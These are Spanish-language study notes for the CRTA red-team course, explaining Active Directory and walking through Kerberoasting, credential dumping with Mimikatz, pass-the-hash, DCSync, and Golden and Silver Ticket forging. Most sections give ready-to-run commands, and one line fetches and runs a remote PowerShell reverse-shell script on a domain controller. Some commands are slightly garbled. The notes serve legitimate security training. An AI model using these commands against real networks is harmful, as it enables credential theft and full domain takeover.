CRTA - CWL

Active Directory Forests/Dominio
Forest: Es una instancia única de Active Directory.
Dominio: Es una colección de Controladores de Dominio que confían entre sí.
Unidades Organizativas (OU): Son agrupaciones lógicas de usuarios, computadoras y otros recursos.
Grupos: Colección de usuarios o de otros grupos, que pueden ser privilegiados o no privilegiados.
Objetos de Active Directory
Son las entidades físicas que conforman una red organizada.
Usuarios del Dominio:
Son las cuentas de usuario que tienen permiso para autenticarse en las máquinas/servidores del dominio.
Grupos del Dominio (Grupos Globales):
Se utilizan para asignar permisos para acceder a recursos en cualquier dominio.
Computadoras del Dominio:
Son las máquinas que están conectadas a un dominio y, por tanto, se convierten en miembros de dicho dominio.
Controlador de Dominio:
Es un servidor ubicado de forma centralizada que responde a las solicitudes de autenticación de seguridad y gestiona varios recursos, como computadoras, usuarios, grupos, etc.
Ejemplo: Un Controlador de Dominio es un servidor como DC1.empresa.com, que autentica a los usuarios cuando intentan iniciar sesión en la red. Si Juan Pérez intenta acceder a su computadora, el controlador de dominio DC1 verifica su identidad y le permite acceder a los recursos para los cuales tiene permisos.
Objetos de Política de Grupo (GPOs):
Son colecciones de políticas que se aplican a un conjunto de usuarios, dominios y objetos dentro de un dominio.
Ejemplo: Una empresa podría tener una GPO llamada "Política de Contraseñas Seguras" que se aplica a todos los usuarios del dominio. Esta política podría requerir que todos los usuarios cambien sus contraseñas cada 90 días, que la contraseña tenga al menos 12 caracteres y que incluya al menos un número y una letra mayúscula.
Ticket Granting Ticket (TGT):
Es un ticket utilizado específicamente para la autenticación de usuarios.
Ticket Granting Service (TGS):
Es un ticket utilizado específicamente para la autorización de los usuarios.
Autorización en Active Directory
Concepto: La autorización en Active Directory (AD) se refiere al proceso mediante el cual se determina si un usuario tiene permiso o denegación para acceder a un recurso dentro de la red de AD. Es decir, se trata de decidir si el usuario tiene los derechos necesarios para interactuar con un archivo, servidor, o cualquier otro recurso protegido en la red.
Active Directory valida el acceso a los recursos mediante el uso de un token de seguridad. Este token es un conjunto de datos que verifica si un usuario pertenece o no a la lista de control de acceso (ACL) de un objeto solicitado.
El token de seguridad se utiliza para verificar los permisos y derechos de acceso asociados a un usuario. Este contiene varios elementos importantes que ayudan a determinar el acceso.
Componentes del Token de Seguridad:
Derechos del Usuario: Especifican qué acciones el usuario puede realizar en los recursos, como leer, escribir o eliminar.
SID del Grupo (Security Identifier): Cada grupo al que el usuario pertenece tiene un SID único. Los grupos permiten asignar permisos a un conjunto de usuarios.
SID Individual: Un identificador único para cada usuario. Es la principal forma de identificar a un principio de seguridad (usuario o grupo) en Active Directory.
Identificador de Seguridad (SID): Es un valor único asignado a cada usuario o grupo en el dominio. Los SIDs son fundamentales para la autorización, ya que se utilizan para verificar que el usuario o grupo tenga acceso a los recursos solicitados.
Enumeración de Active Directory usando PowerView
Obtener acceso a la máquina víctima: Necesitas acceso a una máquina dentro de la red que pertenezca al dominio de Active Directory que estás atacando. Este acceso puede ser obtenido mediante explotación de vulnerabilidades, phishing, credenciales robadas, etc.
Ejecutar PowerView:
Una vez que tienes acceso a la máquina, descargas o transfieres el script de PowerView a la máquina víctima.
Luego ejecutas el script de PowerView en PowerShell de la máquina comprometida.
Ejemplo:
Import-Module .\PowerView.ps1
Esto carga las funciones de PowerView, que puedes usar para hacer enumeración, como obtener información sobre dominios, usuarios, computadoras, etc.
Usar los comandos de PowerView: Una vez cargado el script, puedes usar los comandos que mencioné anteriormente, como Get-NetDomain
, Get-NetUser
, Get-NetComputer
, etc., para obtener información sobre el dominio.
PowerView no está preinstalado en las máquinas víctima. Debes transferir el script y ejecutarlo en una máquina dentro del dominio o en una máquina comprometida que ya esté dentro de la red.
Una vez en la máquina, puedes usar sus comandos para enumerar el entorno de Active Directory.
Uso de PowerUP en la Escalación de Privilegios Locales en Windows
PowerUP es un script de PowerShell diseñado para ayudar a los penetration testers y red teams a escalar privilegios en máquinas Windows.
Comando para Escalación de Privilegios Locales:
.\PowerUP.ps1 Invoke-AllChecks –Verbose
Esto ejecutará todas las verificaciones en el sistema para buscar posibles debilidades que puedan permitir la escalación de privilegios.
Listar servicios que pueden ser configurados para escalar privilegios:
Get-ModifiableService -Verbose
Verificar rutas de servicios sin comillas (lo que puede permitir la escalación de privilegios si hay rutas mal configuradas):
Get-ServiceUnquoted -Verbose
¿Por qué esto es importante?
Escalar privilegios es un paso crítico para tomar el control total de un sistema. Si el atacante obtiene privilegios de administrador o root, puede acceder a todos los archivos y configuraciones del sistema, manipular la red y obtener acceso a más sistemas dentro de la infraestructura.
Escalada de Privilegios Locales y Dumping de Credenciales
Cuando un atacante tiene suficientes privilegios en una máquina local, puede intentar obtener acceso a información más sensible o privilegiada, como las credenciales de administradores o cuentas de servicio.
Técnica: Credential Dumping (Volcado de Credenciales)
El dumping de credenciales es un ataque en el cual un atacante extrae las credenciales de los usuarios, especialmente las de administradores o servicios del sistema. Estas credenciales se pueden utilizar para escalar privilegios o moverse lateralmente dentro de la red.
Cuentas de servicio con privilegios de administrador
Las cuentas de servicio son usadas por los servicios del sistema operativo o aplicaciones, y generalmente tienen privilegios de administrador. Esto las convierte en objetivos atractivos para los atacantes.
Estas cuentas generalmente no tienen su contraseña cambiada con frecuencia, lo que permite a los atacantes obtener las credenciales en texto claro utilizando técnicas de Kerberoasting.
Comando de PowerShell: “Invoke-UserHunter”
Invoke-UserHunter es una herramienta que se utiliza para identificar sesiones activas de usuarios con privilegios elevados, como los de Domain Admin. El comando se usa para buscar las sesiones activas y obtener información sobre las cuentas de usuario de alto privilegio.
Comando de PowerShell:
Invoke-UserHunter
Este comando buscará las sesiones activas de los usuarios con privilegios elevados dentro del dominio y te proporcionará los detalles necesarios para poder realizar un ataque si es necesario.
Kerberoasting
Kerberoasting es una técnica que se utiliza para obtener las credenciales de cuentas de servicio. A través de esta técnica, el atacante puede obtener el Ticket Granting Ticket (TGT) de la cuenta de servicio, luego obtener el Ticket Granting Service (TGS) y utilizarlo para realizar un ataque de fuerza bruta contra la contraseña de la cuenta de servicio.
El proceso general de Kerberoasting es el siguiente:
El atacante solicita un TGT al Controlador de Dominio (DC).
Después de obtener el TGT, se solicita el TGS para acceder a un servicio específico de la máquina.
El TGS es cifrado con el hash de la cuenta de servicio de destino.
El atacante puede extraer el TGS y luego realizar un ataque de fuerza bruta sobre el TGS utilizando un diccionario de contraseñas.
Comando de PowerShell para Kerberoasting:
powershellCopiarEditarInvoke-Mimikatz -Command '"kerberos::krb5tgs /user:<user> /domain:<domain>"'
Encontrar las cuentas de usuario utilizadas como cuentas de servicio
Para identificar cuentas de servicio en el dominio, podemos usar el siguiente comando con PowerView:
Get-NetUser –SPN
Este comando muestra las cuentas que tienen un SPN (Service Principal Name) asociado. Las cuentas de servicio generalmente tienen un SPN para identificarlas dentro de la red.
2. Solicitar el TGS (Ticket Granting Service) para la cuenta de servicio
Una vez que tenemos una cuenta de servicio, necesitamos solicitar el TGS (ticket de servicio) asociado con esa cuenta. Esto se hace con el siguiente comando:
Request-SPNTicket
Esto solicita el TGS para la cuenta de servicio especificada.
3. Verificar el TGS en memoria
Para verificar si el ticket ha sido correctamente almacenado en memoria, utilizamos el comando:
klist
Este comando muestra los tickets que están almacenados en memoria, y confirma que el TGS de la cuenta de servicio ha sido guardado.
4. Exportar el ticket con Mimikatz
Con el ticket almacenado, ahora podemos usar Mimikatz para exportarlo y obtener los detalles de la cuenta de servicio, incluyendo el hash necesario para crackear la contraseña.
Invoke-Mimikatz -Command '"kerberos::list /export"'
Mimikatz extraerá el TGS y lo exportará en un formato que podamos utilizar para el siguiente paso.
5. Crackear la contraseña de la cuenta de servicio
El siguiente paso consiste en crackear la contraseña de la cuenta de servicio usando una herramienta de fuerza bruta como tgsrepcrack.py. Esta herramienta utilizará un archivo de contraseñas (por ejemplo, un diccionario de contraseñas) para intentar descifrar la contraseña de la cuenta de servicio.
python.exe .\tgsrepcrack.py .\passwords.txt ‘.\Ticket.kirbi'
En este comando, tgsrepcrack.py intentará crackear el hash contenido en el archivo Ticket.kirbi usando las contraseñas del archivo passwords.txt.
PowerShell Remoting
PowerShell Remoting es una funcionalidad de Windows que permite a los administradores conectarse a computadoras o servidores de forma remota para ejecutar comandos. Este método es particularmente útil para los atacantes que han logrado escalar privilegios a nivel de administrador.
Comando para Activar PowerShell Remoting:
Enable-PSRemoting -SkipNetworkProfileCheck -Verbose -Force
Comandos Ejemplos:
Iniciar una nueva sesión remota:
$session = New-PSSession –Computername Windows-Server
Ejecutar comandos en la sesión remota:
Invoke-Command –Session $session –ScriptBlock {Whoami;hostname}
Entrar a la sesión remota:
Enter-PSSession –Session $session -verbose
Descripción:
WinRM corre por defecto en los puertos TCP 5985 (HTTP) y 5986 (HTTPS), y está habilitado por defecto en Windows Server 2012 y versiones posteriores.
PowerShell Remoting permite ejecutar comandos y scripts en servidores Windows y también en máquinas Linux si se utiliza PowerShell (proyecto de código abierto).
2. Mimikatz PowerShell Script
Mimikatz es una herramienta poderosa utilizada para la recolección de credenciales y el volcado de tickets de Kerberos en memoria. Es muy conocida en las pruebas de penetración y en los entornos de red comprometidos.
Comando para Volcar Credenciales:
Invoke-Mimikatz -DumpCreds -Verbose
Comando para Volcar Credenciales en Múltiples Máquinas:
Invoke-Mimikatz –DumpCreds –ComputerName @(“comp1”,”comp2”)
Comando para el Ataque "Pass-the-Hash" (PTH):
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:cyberwarfare.corp/hash:/run:powershell.exe"'
Descripción:
Mimikatz es capaz de realizar el dumping de credenciales de usuarios de la máquina local, incluidos los hashes de contraseñas y otros tokens de autenticación.
También se utiliza para realizar ataques Pass-the-Hash (PTH), donde un atacante utiliza un hash de la contraseña en lugar de la contraseña misma para obtener acceso a otros recursos en la red.
Delegación No Restringida (Unconstrained Delegation)
La delegación no restringida es una característica de Kerberos que permite que un servidor actúe en nombre de un usuario para acceder a recursos en otros servidores sin la necesidad de que el usuario reautentique. Es una técnica muy poderosa que puede ser mal utilizada por atacantes si no se configura adecuadamente.
¿Cómo Funciona la Delegación No Restringida?
Cuando la delegación restringida está habilitada, el controlador de dominio (DC) coloca el TGT (Ticket Granting Ticket) del usuario dentro del TGS (Ticket Granting Service). Si el servidor al que se presenta el TGT tiene habilitada la delegación no restringida, este TGT es extraído del TGS y se almacena en la memoria.
En resumen:
Un atacante puede extraer el TGT y usarlo para acceder a cualquier recurso como si fuera el usuario original.
Consecuencia grave: Si el atacante obtiene el TGT de un Domain Admin, puede obtener acceso completo al dominio.
Comando para listar las computadoras con delegación no restringida habilitada:
Get-NetComputer –unconstrained -verbose
Pasos de Abuso de Delegación No Restringida
1. Compromiso del Servidor con Delegación No Restringida:
El atacante compromete un servidor en la red donde está habilitada la delegación no restringida.
2. Engaño al Usuario Privilegiado (Social Engineering):
A través de técnicas de ingeniería social, el atacante puede engañar al Domain Admin o cualquier otro usuario privilegiado para que se conecte al servidor ya comprometido.
3. Extracción del TGT del Domain Admin:
Una vez que el usuario se conecta al servidor comprometido, el atacante extrae el TGT del Domain Admin y lo almacena en la memoria.
4. Reutilización del TGT para Operaciones con Privilegios de Admin:
El atacante reutiliza el TGT para ejecutar otras operaciones como Domain Admin.
Comandos para realizar el ataque de DCSYNC (sin necesidad de ejecución de código en el DC):
Invoke-Mimikatz –Command '"kerberos::pttticket.kirbi"'
Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberwarfare\krbtgt"'
La delegación no restringida permite que los atacantes exploten un servidor para acceder a otros recursos como si fueran el usuario que se conectó originalmente, lo que puede tener consecuencias muy graves, especialmente si el atacante obtiene las credenciales de un Domain Admin. Es fundamental que esta configuración esté correctamente controlada para evitar que los atacantes utilicen esta técnica en redes comprometidas.
Persistence y Exfiltración de Datos
Persistence (persistencia) se refiere a la habilidad de un atacante para mantener el acceso a los sistemas comprometidos durante un período prolongado, incluso después de que se haya detectado y mitigado el ataque inicial. La exfiltración de datos se refiere al proceso de robo de datos confidenciales de la red comprometida de manera oculta para evitar ser detectado.
Objetivo del Atacante:Una vez que el atacante ha identificado activos críticos y obtenido privilegios suficientes, intentará:
Establecer persistencia en los sistemas comprometidos.
Exfiltrar datos de manera sigilosa para evitar la detección.
Técnicas de Exfiltración de Datos
El atacante puede usar diferentes métodos y protocolos para exfiltrar los datos sin ser detectado. Algunas de las técnicas de exfiltración incluyen:
Exfiltración Automatizada [T1020]: Uso de scripts automatizados para extraer grandes cantidades de datos sin intervención manual.
Exfiltración a través de un Protocolo Alternativo [T1048]: Utilizar protocolos menos comunes o sin seguridad para transferir datos fuera de la red.
Exfiltración a través de un Medio Físico [T1052]: Usar dispositivos físicos como memorias USB para sacar datos de la red.
Transferir Datos a una Cuenta en la Nube [T1537]: Subir los datos robados a servicios de almacenamiento en la nube.
Golden Ticket Attack (Ataque del Ticket Dorado)
Un Golden Ticket es un ticket generado de manera manual por un atacante que le permite acceder a cualquier recurso en un dominio Kerberos. El ticket está firmado y encriptado con el hash de la cuenta krbtgt
, que es una cuenta crítica dentro del dominio.
Requisitos:
SID del dominio
Hash de
krbtgt
Nombre del dominio
SID en ataques entre bosques (si se usa en un entorno más grande)
Pasos para crear un Golden Ticket:
El atacante genera el Golden Ticket utilizando el hash de
krbtgt
.El ticket se envía al Controlador de Dominio (DC) para obtener el TGS (servicio de autorización).
El atacante puede usar el TGS para autenticarse y obtener acceso a recursos protegidos.
Comandos utilizados para generar un Golden Ticket:
Obtener hash de
krbtgt
:Invoke-Mimikatz -Command '"lsadump::dcsync /user:cyberwarfare\krbtgt"'
Crear un Golden Ticket:
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-5-21-xxxxx-yyyyy-xxxxx /krbtgt:xxxxxxxxxxxxxxxxxx /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Explicación de parámetros:
/User: Nombre del usuario para el cual se genera el TGT.
/domain: Nombre completo del dominio.
/sid: SID del dominio.
/krbtgt: Hash de la cuenta
krbtgt
para firmar el ticket./ptt: Inyecta el ticket en la sesión actual (memoria).
/ticket: Guarda el ticket en un archivo
.kirbi
.
Silver Ticket Attack
Un Silver Ticket es similar al Golden Ticket pero se usa para acceder a un servicio específico en el dominio, en lugar de a todo el dominio.
Pasos para crear un Silver Ticket:
El atacante crea un Silver Ticket utilizando el hash de cuenta de servicio.
Utiliza el ticket para ejecutar tareas maliciosas en un servidor de destino.
Comando para ejecutar un Silver Ticket:
Comando para crear el Silver Ticket:
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-5-21-xxxxx-yyyyy-xxxxx /target:exterprise-dc.cyberwarfare.corp /service:HOST /rc4:xxxxx /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Ejecutar tareas en un servidor remoto usando el Silver Ticket:
schtasks /create /S enterprise-dc.cyberwarfare.corp /SC Weekly /RU "NT Authority\SYSTEM" /TN “lateral" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.1:8000/InvokePowerShellTcp.ps1'')'" schtasks /Run /S enterprise-dc.cyberwarfare.corp /TN "STCheck"
Extraer el hash de la cuenta krbtgt
y usarlo para forjar un Golden Ticket:
krbtgt
y usarlo para forjar un Golden Ticket:Obtener SID del dominio:
whoami /all
Forjar el Golden Ticket en un dominio con el siguiente comando:
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:cyberwarfare.corp /sid:S-1-5-21-xxxxx-yyyyy-xxxxx /krbtgt:xxxxxxxxxxxxxxxxxx /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Comando adicional para exportar el ticket y continuar con la exfiltración o los ataques.
Este proceso muestra cómo un atacante podría utilizar los Golden y Silver Tickets para obtener acceso no autorizado a servicios dentro de un dominio Active Directory y exfiltrar datos utilizando técnicas de persistencia.
Last updated